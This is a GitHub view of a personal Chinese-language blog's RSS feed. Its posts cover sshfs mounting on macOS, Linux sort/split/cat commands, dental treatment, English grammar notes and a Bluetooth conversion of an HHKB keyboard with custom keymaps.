-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.xml
More file actions
1098 lines (1098 loc) · 104 KB
/
index.xml
File metadata and controls
1098 lines (1098 loc) · 104 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>WhereIsMyMind</title><link>https://hare.one/</link><atom:link href="https://hare.one/index.xml" rel="self" type="application/rss+xml"/><description>WhereIsMyMind</description><generator>Source Themes Academic (https://sourcethemes.com/academic/)</generator><language>en</language><lastBuildDate>Fri, 25 Mar 2022 12:16:18 +0800</lastBuildDate><item><title>使用 sshfs 挂载远程目录</title><link>https://hare.one/posts/use-sshfs-to-mount-remote-directory/</link><pubDate>Fri, 25 Mar 2022 12:16:18 +0800</pubDate><guid>https://hare.one/posts/use-sshfs-to-mount-remote-directory/</guid><description><p>最近使用 ssh 到服务器上进行测试开发,但是却不能使用本地已经配置好的开发工具,所以有了想法将远程服务器的目录挂载到本地的 macOS 上。
开发机是 macOS Monterey 12.1</p>
<p>使用 brew 安装 sshfs</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>brew install sshfs
</span></span></code></pre></div><p>但是提示</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Error: sshfs has been disabled because it requires closed-source macFUSE!
</span></span></code></pre></div><p>那就先安装 macFUSE 吧</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>brew install macfuse
</span></span></code></pre></div><p>再去 <a href="https://osxfuse.github.io/">macFUSE</a> 的项目主页上下载 sshfs 2.5.0 的 pkg 文件,进行安装</p>
<p>安装好后就可以使用下面的命令来挂载远程的目录了</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/local/diretory
</span></span><span style="display:flex;"><span>sshfs -o idmap<span style="color:#f92672">=</span>user xxx@ip:/remote/diretory ~/local/diretory
</span></span></code></pre></div><p>现在就可以当作本地文件进行操作了。</p>
<!--<span class="spoiler" > 隐藏文字 </span>-->
<!--
<div><iframe id="biliplayer" src="//player.bilibili.com/player.html?aid=AV%e5%8f%b7&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" loading="lazy" > </iframe></div>
嵌入 BiliBili 视频 --></description></item><item><title>Linux 下的文件按照数字编号顺序排列</title><link>https://hare.one/posts/list-and-sort/</link><pubDate>Fri, 08 Jan 2021 21:23:53 +0800</pubDate><guid>https://hare.one/posts/list-and-sort/</guid><description><p>今天在终端下使用 <code>ls</code> 命令的时候,发现没办法直接满足按照阿拉伯数字顺序排列的需求。</p>
<p>比如说有如下几个文件:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plain" data-lang="plain"><span style="display:flex;"><span>1_apple.txt
</span></span><span style="display:flex;"><span>12_banana.txt
</span></span><span style="display:flex;"><span>3_orange.txt
</span></span><span style="display:flex;"><span>31_mango.txt
</span></span></code></pre></div><p>这就是 <code>ls</code> 命令默认的排序方式。
而我需要的却是:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plain" data-lang="plain"><span style="display:flex;"><span>1_apple.txt
</span></span><span style="display:flex;"><span>3_orange.txt
</span></span><span style="display:flex;"><span>12_banana.txt
</span></span><span style="display:flex;"><span>31_mango.txt
</span></span></code></pre></div><p>STFW 发现可以通过管道符和 <code>sort</code> 命令配合来实现。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ls | sort -k1 -n
</span></span></code></pre></div><p>其中,<code>-k1</code> 表示按照第一个区域进行排序,<code>-n</code> 表示按照数值排序。
只用 <code>ls</code> 命令的时候,<code>-k</code> 参数可以省略,但如果使用 <code>ls -al</code> 命令的话,需要排序的就是第九个区域,就应该是 <code>-k9</code> 了。
另外,<code>-t</code> 参数可以指定用来分隔区域的字符。当数字在文件名后面作为版本号的时候,可能会用上这个参数。</p>
<!--<span class="spoiler" > 隐藏文字 </span>-->
<!--
<div><iframe id="biliplayer" src="//player.bilibili.com/player.html?aid=AV%e5%8f%b7&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" loading="lazy" > </iframe></div>
嵌入 BiliBili 视频 --></description></item><item><title>关于牙齿的二三事</title><link>https://hare.one/posts/a-couple-of-things-about-my-teeth/</link><pubDate>Mon, 16 Nov 2020 21:58:18 +0800</pubDate><guid>https://hare.one/posts/a-couple-of-things-about-my-teeth/</guid><description><p>今年刚刚做完了牙齿正畸,记录一下自己这些年的牙齿治疗。</p>
<p>因为家里几位长辈牙齿都有些或大或小的问题,加上自己小时候早早的龋齿,体会到了「牙疼不是病,疼起来真要命」,所以工作后就一直是牙齿有问题就立马解决。</p>
<p>先是大学被骨头崩掉茬的一颗恒牙,当时没怎么在意,后来就变成了龋齿,后面补上了。</p>
<p>接着是偶尔疼的智齿,洗牙的时候牙医说下面两颗智齿都是阻生齿,如果不拔掉可能会影响前面的恒牙,所以拔掉了两颗阻生齿和对位的智齿。拔牙过程还是有些痛苦的,阻生齿又是敲又是劈,而且拔下来会留下个坑,这个在一年左右慢慢长上了。</p>
<p>后面因为牙齿深覆合,于是做了牙齿正畸,这个过程比一般的正畸时间要长一点,也因为疫情的原因多等了半年,历时两年半才算做好。前面用了一年左右的时间才把上牙间距打开,才好给下牙做。刚开始有一些不适应,但是后面已经完全不影响生活,唯一的缺点就是吃东西后要清洁比较久。做好之后牙齿确实很整齐,而且似乎下巴长了点?也可能是心理作用吧。</p>
<p>正畸的过程中,之前补上的龋齿有些痛,检查后发现牙神经已经坏掉了,牙医说应该是之前的补牙材料不好,或者是细菌导致的,只好打开了补牙的位置,做了根管治疗。后续可能还会做个牙冠来进行保护。</p>
<p>正畸开始前做了一次洗牙,第一次洗后发现,就算平时有用心刷牙,但不用牙线的情况下还是会有食物残留,这会导致牙石,于是学会了用牙线,也买了水牙线用。(强烈推荐用水牙线,对牙齿更温和,而且清理的很干净。)现在就是保持一年两次的洗牙频率,最近几次体检牙医都说牙齿牙龈状况都不错,勤快刷牙和水牙线真的起到了很大的作用。</p>
<p>正畸结束后还要戴保持器,以防牙齿移动,目前还是每天除了吃饭刷牙都要戴,牙医说大概要佩戴半年左右来让牙齿好好固定,半年后基本上就可以只晚上睡觉佩戴了。</p>
<p>关于牙刷和电动牙刷:其实两个我用起来都差不多,但是电动牙刷不怎么用自己动手,高频振动下单位时间也比手动刷牙更干净些。作为一个懒人我当然是选择了电动牙刷。</p>
<p>目前正在用牙贴,试试好不好用,如果不好用的话可能会想尝试一下冷光美白吧,只是听说做冷光美白牙齿会很酸,有待考察。</p>
<p>另外选择一个靠谱的牙科诊所 or 医院,一位负责且温柔的牙医蛮重要的,起码减轻了 50% 的痛苦。🤣</p>
<p>不多说了,我去刷牙了~</p>
<!--<span class="spoiler" > 隐藏文字 </span>-->
<!--
<div><iframe id="biliplayer" src="//player.bilibili.com/player.html?aid=AV%e5%8f%b7&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" loading="lazy" > </iframe></div>
嵌入 BiliBili 视频 --></description></item><item><title>Linux 下的文件分割与合并命令 Split & Cat</title><link>https://hare.one/posts/split-and-cat/</link><pubDate>Tue, 13 Oct 2020 16:10:22 +0800</pubDate><guid>https://hare.one/posts/split-and-cat/</guid><description><p>最近的工作中,需要处理大型的文本文件,这在预览上很不方便,这种情况下,可以使用 Linux 下的 split 命令进行分割。</p>
<h2 id="按照文件的大小进行分割">按照文件的大小进行分割</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ split -b 10k input_file.txt output_file -d -a <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -b 值为每一输出文件的大小</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -d 使用数字作为后缀</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -a 值为后缀长度</span>
</span></span></code></pre></div><p>将输入的文件按照 <em>10k</em> 的大小进行分割,输出的分割文件以 <em>output_file</em> 开头进行命名,数字作为输出的分割文件后缀,长度为 <em>3</em></p>
<h2 id="按照文件的行数进行分割">按照文件的行数进行分割</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ split -l <span style="color:#ae81ff">10</span> input_file.txt
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -l 值为分割的行数</span>
</span></span></code></pre></div><p>将输入的文件按照 <em>10</em> 行每文件进行分割</p>
<h2 id="文件合并">文件合并</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ cat output* &gt; new_file.txt
</span></span></code></pre></div><p>将以 <em>output</em> 开头的文件按照顺序合并,并生成 <em>new_file.txt</em> 文件</p>
<!--<span class="spoiler" > 隐藏文字 </span>-->
<!--
<div><iframe id="biliplayer" src="//player.bilibili.com/player.html?aid=AV%e5%8f%b7&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" loading="lazy" > </iframe></div>
嵌入 BiliBili 视频 --></description></item><item><title>搞懂英语(一)</title><link>https://hare.one/posts/how-to-understand-english-part1/</link><pubDate>Thu, 20 Aug 2020 20:48:53 +0800</pubDate><guid>https://hare.one/posts/how-to-understand-english-part1/</guid><description><blockquote>
<p>记录我自己的英语学习,并将学习笔记整理成 Markdown</p>
</blockquote>
<p>虽然从小就开始学英语,但英语语法一直是比较头疼的一项,原因主要是英语的动词在句子中的功能要比汉语多很多,并且存在着 <strong>时态</strong> 这种汉语里几乎不需要考虑的东西。</p>
<p>但现在拉起视角俯瞰一下英语的语法,会有种豁然开朗的感觉。语法并不应该是死记硬背的,而应该是通过理解英语逻辑来记忆的。现在就来重塑一下英语的语法体系/核心框架吧。</p>
<p>首先要先明白:</p>
<blockquote>
<p>学习英语语法是为了 <strong>造句</strong></p>
</blockquote>
<p>将长句子拆开成短句,直到拆倒不能再拆,否则句意会不完整,这时的短句子,就是<strong>简单句</strong>。</p>
<h2 id="简单句-simple-sentences">简单句 Simple Sentences</h2>
<p>英语的句子,主要的句子成分是:<strong>“什么”“怎么样”</strong>,几乎所有的句子结构都是:</p>
<blockquote>
<p>主语 Subject + 谓语 Predicate</p>
</blockquote>
<blockquote>
<p><strong>谓语</strong>用来描述人或物的 <strong>“动作”</strong>(广义)/ 发生了什么事</p>
</blockquote>
<h3 id="有哪些动作">有哪些动作?</h3>
<ol>
<li>
<p>可以独立完成的动作 <strong>不及物动词</strong> Intransitive Verbs</p>
<blockquote>
<p>主语 + 不及物动词</p>
</blockquote>
</li>
<li>
<p>有一个动作的承受者 <strong>单及物动词</strong> Monotransitive Verbs</p>
<blockquote>
<p>主语 + 单及物动词 + 宾语</p>
</blockquote>
</li>
<li>
<p>有两个动作的承受者 <strong>双及物动词</strong> Ditransitive Verbs</p>
<blockquote>
<p>主语 + 双及物动词 + 间接宾语 + 直接宾语</p>
</blockquote>
</li>
<li>
<p>只有一个动作的承受者(不同于 2)<strong>复杂及物动词</strong> Complex-Transitive</p>
<blockquote>
<p>主语 + 复杂及物动词 + 宾语 + 宾语补足语</p>
</blockquote>
</li>
<li>
<p>不是个动作 <strong>(连)系动词</strong> Linking Verbs</p>
<blockquote>
<p>主语 + 系动词 + 主语补足语(表语)</p>
</blockquote>
</li>
</ol>
<p>另外英语还有:<strong>定语</strong> Attributive <strong>状语</strong> Adverbial <strong>同位语</strong> Appositive</p>
<h3 id="简单句的组合">简单句的组合</h3>
<ul>
<li><strong>Compound Sentence 复合句</strong></li>
<li><strong>Complex Sentence 复杂句</strong>(简单句套简单句套简单句……)</li>
</ul>
<h3 id="主句与从句">主句与从句</h3>
<ul>
<li><strong>主句 Main Clause</strong></li>
<li><strong>从句 Subordinate Clause</strong></li>
</ul>
<h4 id="名词性从句">名词性从句</h4>
<ul>
<li><strong>主语从句</strong></li>
<li><strong>宾语从句</strong></li>
<li><strong>表语从句</strong></li>
<li><strong>同位语从句</strong></li>
</ul>
<h4 id="定语从句">定语从句</h4>
<blockquote>
<p>将简单句用作定语</p>
</blockquote>
<h4 id="状语从句">状语从句</h4>
<blockquote>
<p>将简单句用作状语</p>
</blockquote>
<h2 id="词类">词类</h2>
<ul>
<li>名词 Nouns</li>
<li>冠词 Articles</li>
<li>代词 Pronouns</li>
<li>形容词 Adjectives</li>
<li>数词 Numerals</li>
<li>副词 Adverbs</li>
<li>介词 Prepositions</li>
<li>叹词 Interjections</li>
<li>连词 Conjunctions</li>
<li>动词 Verbs</li>
</ul>
<h2 id="谓语动词的三大本领">谓语动词的“三大本领”</h2>
<ol>
<li>
<p>表示动作的 <strong>时间</strong></p>
<ul>
<li>现在</li>
<li>过去</li>
<li>将来</li>
<li>从过去的某个时间点”算将来“(过去将来)</li>
</ul>
</li>
<li>
<p>表示动作的 <strong>状态</strong></p>
<ul>
<li>未说明(一般)</li>
<li>完成</li>
<li>进行</li>
<li>不但完成而且继续(完成进行)</li>
</ul>
</li>
<li>
<p>表示动作的 <strong>假设、情感</strong> (语法的语气)</p>
<ul>
<li>虚拟语气</li>
<li>陈述语气</li>
<li>祈使语气</li>
</ul>
</li>
</ol>
<p>以上三点统称为英语的 <strong>时体气</strong> Tense Aspect Mood TAM</p>
<p><strong>时间 + 状态</strong> 统称为<strong>时态</strong>,(理论上)共有 4*4=16 种,即时间与状态的排列组合</p>
<table>
<thead>
<tr>
<th></th>
<th>现在</th>
<th>过去</th>
<th>将来</th>
<th>过去将来</th>
</tr>
</thead>
<tbody>
<tr>
<td>一般</td>
<td>一般现在时态</td>
<td>一般过去时态</td>
<td>一般将来时态</td>
<td>一般过去将来时态</td>
</tr>
<tr>
<td>完成</td>
<td>现在完成时态</td>
<td>过去完成时态</td>
<td>将来完成时态</td>
<td>过去将来完成时态</td>
</tr>
<tr>
<td>进行</td>
<td>现在进行时态</td>
<td>过去进行时态</td>
<td>将来进行时态</td>
<td>过去将来进行时态</td>
</tr>
<tr>
<td>完成进行</td>
<td>现在完成进行时态</td>
<td>过去完成进行时态</td>
<td>将来完成进行时态</td>
<td>过去将来完成进行时态</td>
</tr>
</tbody>
</table>
<h2 id="助动词">助动词</h2>
<table>
<thead>
<tr>
<th style="text-align:left">表示</th>
<th style="text-align:left">助动词</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">表示完成态</td>
<td style="text-align:left">助动词 have</td>
</tr>
<tr>
<td style="text-align:left">表示进行态</td>
<td style="text-align:left">助动词 be</td>
</tr>
<tr>
<td style="text-align:left">表示“被”</td>
<td style="text-align:left">助动词 be</td>
</tr>
<tr>
<td style="text-align:left">表示“有能力”</td>
<td style="text-align:left">助动词 can</td>
</tr>
<tr>
<td style="text-align:left">表示“有可能”</td>
<td style="text-align:left">助动词 might</td>
</tr>
<tr>
<td style="text-align:left">表示”有义务“</td>
<td style="text-align:left">助动词 must</td>
</tr>
<tr>
<td style="text-align:left">表示”否定“</td>
<td style="text-align:left">助动词 do</td>
</tr>
</tbody>
</table>
<p><strong>助动词不要与实义动词混淆!!!</strong></p>
<h2 id="非谓语动词">非谓语动词</h2>
<p>非谓语动词几乎可以<strong>取代所有的从句</strong>,<strong>从而简化句子</strong></p>
<ul>
<li>动词不定式 to do</li>
<li>现在分词 doing</li>
<li>动名词 doing</li>
<li>过去分词 done
<!--<span class="spoiler" > 隐藏文字 </span>-->
<!--
<div><iframe id="biliplayer" src="//player.bilibili.com/player.html?aid=AV%e5%8f%b7&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" loading="lazy" > </iframe></div>
嵌入 BiliBili 视频 -->
</li>
</ul></description></item><item><title>YDKB HHKB BLE Mod</title><link>https://hare.one/posts/ydkb-hhkb-ble-mod/</link><pubDate>Thu, 30 Jul 2020 18:07:43 +0800</pubDate><guid>https://hare.one/posts/ydkb-hhkb-ble-mod/</guid><description><h3 id="前因">前因</h3>
<p>家里的 HHKB 闲置了有一段时间,因为每次使用都要给 MacBook 插扩展坞,再连接 USB 到扩展坞上,麻烦不说,还会挡住触控板的使用,直接把 HHKB 放在 MacBook 键盘的位置吧,连线部分又会卡在屏幕上,反正就是怎么样都不爽。也考虑过用 L 型的 USB 连接线,但是桌面上还是线越少越好,所以考虑用蓝牙来解决这个问题。</p>
<h3 id="选择">选择</h3>
<p>HHKB 自己是有蓝牙版本的,叫做 HHKB BT。身边用过的朋友都说使用上很坑,原因是 Bluetooth 3.0 容易被干扰,比如说 WiFi 2.4G 信号,甚至是电脑外接 USB 3.0 都可能会造成干扰。而且电池仓换电池的供电方式也有些麻烦,所以这个选项直接 pass 掉。</p>
<p><span class="spoiler" > 注 1:现在已经有新款的 HHKB Hybrid Types 了,使用的 Bluetooth 4.2,同样支持蓝牙双模</span>
<br>
<span class="spoiler" ><del> 注 2:有信仰的兄弟可以冲冲冲,我继续搞我的魔改</del></span></p>
<img src="\Pictures\hhkb-ble0.png" alt="hhkb-ble0" style="zoom:80%;" />
<center>HHKB BT</center>
<p>直到我看到了这篇 <a href="https://www.chiphell.com/thread-2026980-1-1.html">HHKB 的正确使用方式</a>,我觉得找到了我需要的解决方案。</p>
<p>这个叫做 YDKB 的解决方案是由 @yangdigi 开发的主控芯片,通过替换 HHKB 原厂的主控芯片,就可以使它变成蓝牙双模 + 有线的版本。而且 YDKB 的 <a href="http://help.ydkb.io/doku.php?id=start">文档</a> 写得巨详细,我喜欢。</p>
<h3 id="开搞">开搞</h3>
<p>话不多说,赶紧在淘宝上下单了改装套件,我自己选择了改装主控芯片 + 锂电池 2500mAh 的版本,不过锂电池也可以自己购置,只需要大小满足要求即可。</p>
<img src="\Pictures\hhkb-ble1.jpg" alt="hhkb-ble1" style="zoom:25%;" />
<center>主控芯片</center>
<p>安装过程很简单,一共只需要拧下四颗螺丝,替换原厂主控,安装锂电池就 ok 了。随 YDKB 主控模块还附带了三支可插拔的 LED,需要注意的是 LED 的光线只能透过白色版本的 HHKB,黑色的是透不过外壳的。不过这个只是作为提示用,并不是必须安装的选项,不安装的话,也会在 USB 接口的位置闪烁来提示,但没有这样直观。</p>
<img src="\Pictures\hhkb-ble2.jpg" alt="hhkb-ble2" style="zoom:25%;" />
<center>电池和附赠胶条</center>
<p>锂电池用附赠的双面胶条贴在键盘外壳内壁靠近的位置就可以,垫上一层泡泡纸防止键盘短接。我在这里出现了一个小插曲:电池的触点不严,导致无法供电。刚好手头也没有电烙铁,跟店家说了下就给我补发了新的电池。<span class="spoiler" ><del>店家说从开始卖一共就三块电池出过问题,我中奖了。</del></span></p>
<img src="\Pictures\hhkb-ble3.jpg" alt="hhkb-ble3" style="zoom:25%;" />
<center>原装主控和 HHKB BLE MOD 对比</center>
<p>YDKB 主控上有一个朝内的 USB 接口,这里可以装一个 U 盘,不过只能在连接了 USB 线的时候可以读取。我找到了一个几年前的 Kingston 8GB U 盘,也是你继续发光发热的时候了,去掉了外壳就插在了这里。对齐了 LED 就可以合上盖子拧螺丝了。到这里就替换完了。</p>
<img src="\Pictures\hhkb-ble4.jpg" alt="hhkb-ble4" style="zoom:25%;" />
<center>装好 LED 和内置 U 盘</center>
<p>打开开关盖子,原本有六个开关的地方只有一个开关了,打开即可。</p>
<p>原本六个开关的功能,现在可以通过刷固件进行,YDKB 支持 8 层自定义按键设置 + LEDmap 设置,烧写固件也很方便,全部都可以通过 <a href="http://ydkb.io">ydkb.io</a> 搞定。</p>
<h3 id="keymap">Keymap</h3>
<p>之前说 YDKB 支持 8 层自定义按键,这 8 层其实是像下面这样叠在一起的,每次按键,从 L7 开始往下找开启的层,如果该层打开,则使用该层的键位,如果键位为 TRNS,则继续向下查找,直到找到按键或到最底层。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>7 / ESC / F1 / F2 / F3 ....
</span></span><span style="display:flex;"><span>: /-----/-----/-----/-----
</span></span><span style="display:flex;"><span>: / TAB / Q / W / E ....
</span></span><span style="display:flex;"><span>: /-----/-----/-----/-----
</span></span><span style="display:flex;"><span>: /LCtrl/ A / S / D ....
</span></span><span style="display:flex;"><span>: / : : : :
</span></span><span style="display:flex;"><span>2 `--------------------------
</span></span><span style="display:flex;"><span>1 `--------------------------
</span></span><span style="display:flex;"><span>0 `--------------------------
</span></span></code></pre></div><p>下面是我的 Keymap,可以用来参考。</p>
<h4 id="colemak-keyboard-layout">Colemak Keyboard Layout</h4>
<img src="\Pictures\hhkb-ble6.png" alt="hhkb-ble6" style="zoom:100%;" />
<center>Layer0</center>
最近了解了一下键盘布局,对 Colemak 这种键盘布局很感兴趣,想要尝试切换一下布局试试。
未能熟练使用前可能不常用,所以暂时将 Colemak 布局放在最底层,最低程度降低对其他层的影响。
<p>想要了解 Colemak 布局的话可以看这里:<a href="https://colemak.com">Colemak.com</a></p>
<p>这时候就凸显了 HHKB Pro 2 无刻版的好处,键盘自在心中。<span class="spoiler" ><del>所谓键上无码,心中有码</del></span></p>
<h4 id="qwerty-keyboard-layout">QWERTY Keyboard Layout</h4>
<img src="\Pictures\hhkb-ble7.png" alt="hhkb-ble7" style="zoom:100%;" />
<center>Layer1</center>
这一层不必多说,就是常用的 QWERTY 布局。
<p>不一样的细节:</p>
<ul>
<li><strong>Esc 键</strong>:跟 shift 一起按就是 ~ 键,这个比 HHKB 自己在右上角的 ~ 更符合使用习惯。</li>
<li><strong>数字 3 键</strong>:单独按就是正常的 3 键,与其他键一起使用时就是瞬时开启 Layer2。</li>
<li><strong>数字 4 键</strong>:单独按就是正常的 4 键,与 Alt 键一起按就是 F4 键,因为偶尔需要切换到 Windows 下操作。</li>
</ul>
<p>接下来这一层是配合<strong>数字 3 键</strong>使用的:</p>
<h4 id="tricks-keys-layout">Tricks Keys Layout</h4>
<img src="\Pictures\hhkb-ble8.png" alt="hhkb-ble8" style="zoom:100%;" />
<center>Layer2</center>
<ul>
<li>
<p>3 + hjkl 的键位设置为左下上右,Vim 用户都懂。</p>
</li>
<li>
<p>3 + u 键的位置设置为 CapsLock,在 macOS 下用来快速切换中英输入法,免得用小指去找 Fn。</p>
</li>
<li>
<p>, . 键的位置改成了 - 和 +,macOS 自带的输入法只能用 - 和 + 翻页,现在可以一直在主键盘区操作,不用小指去找。</p>
</li>
</ul>
<h4 id="function-keys-layout">Function Keys Layout</h4>
<img src="\Pictures\hhkb-ble9.png" alt="hhkb-ble9" style="zoom:100%;" />
<center>Layer3</center>
<p>我将原本 HHKB fn 的按键改成了瞬时切换到 Layer3,除了实现原本 fn 键的功能,还添加了一些杂七杂八的控制按键。</p>
<p>不得不感叹一下,仅仅用了四层就将 60 键的 HHKB 扩展了这么多功能,YDKB 大法好!</p>
<p>上面的 Keymap 在我的 <a href="https://github.com/hare001/HHKB-Keymap">GitHub</a> 仓库里可以直接下载固件。</p>
<p>或者是直接访问 <a href="http://ydkb.io/?hhkb_ble-0#H4sIAAAAAAAAA+1US25bMQy80CzEP3UWI/e/Rod6SWM4SVGgLeJFIYNPlsSROEPydrvJgmRKH1vHLjgCCVVsqIGrAnVwm8f0BTdJiEMbwQ0C8JhgkALKH13pY9ANWzChh0ssR4q7wBwWsIQVrGEbvs4WL1a4nbnDA57wGu+GbwQv4JWKMASfGIhEFIKLGzkYSEUaPZKXMYZEFrKRG7VQglIUI3IU0WXPeqEatenUCy1oRRva0YFONKNu9MZe2IJNUgzbsYMeO7ELu7E34+f7Fnkw45fRryJpY+PYPLaO7WP3WDIkMhSJKGf0JbVCJsWGxPmSdZKkgzZYgzQ4gzIYRFCSTIgbsc64BBy99tGFazqKDHS8CljD5ki3Rj2KTannijcBB/7vCiiTLw/6yf2Yl+HzcYl15pOoJ4Z8T96vxy8wP55gblyTR7LlA9XD3yejR4Iri05OPe5HfXn57wVwsfonQf7LE4eZt39HoPQqppGw5q4WY2HGZExn8YxlhmewUkfLYJ3Nvzp2MjW1bMraWbBrqpbuVGIyTF/F55x5NZa17prXFaxlljyzd9rDdIgBe+8RuO8Q8upReelzdYyeVlf9Jiuj4P60jhqBn43/9FD7qYE+RTY8y4n71vjsb/2GOn3yt/5n5JsYefkBAis58SAKAAA=">我的分享</a> 在我的配置文件基础上进行修改。</p>
<h3 id="tips">Tips</h3>
<p>我想把 HHKB 放到 MacBook 上使用,为了避免误触,需要在 HHKB 接入 MacBook 的时候自动禁用内置键盘。</p>
<p>这里需要使用 karabiner 实现。</p>
<p>像下图这样配置 karabiner 即可实现 HHKB 蓝牙接入时禁用内置键盘的功能。</p>
<img src="\Pictures\karabiner.png" alt="karabiner" style="zoom:25%;" />
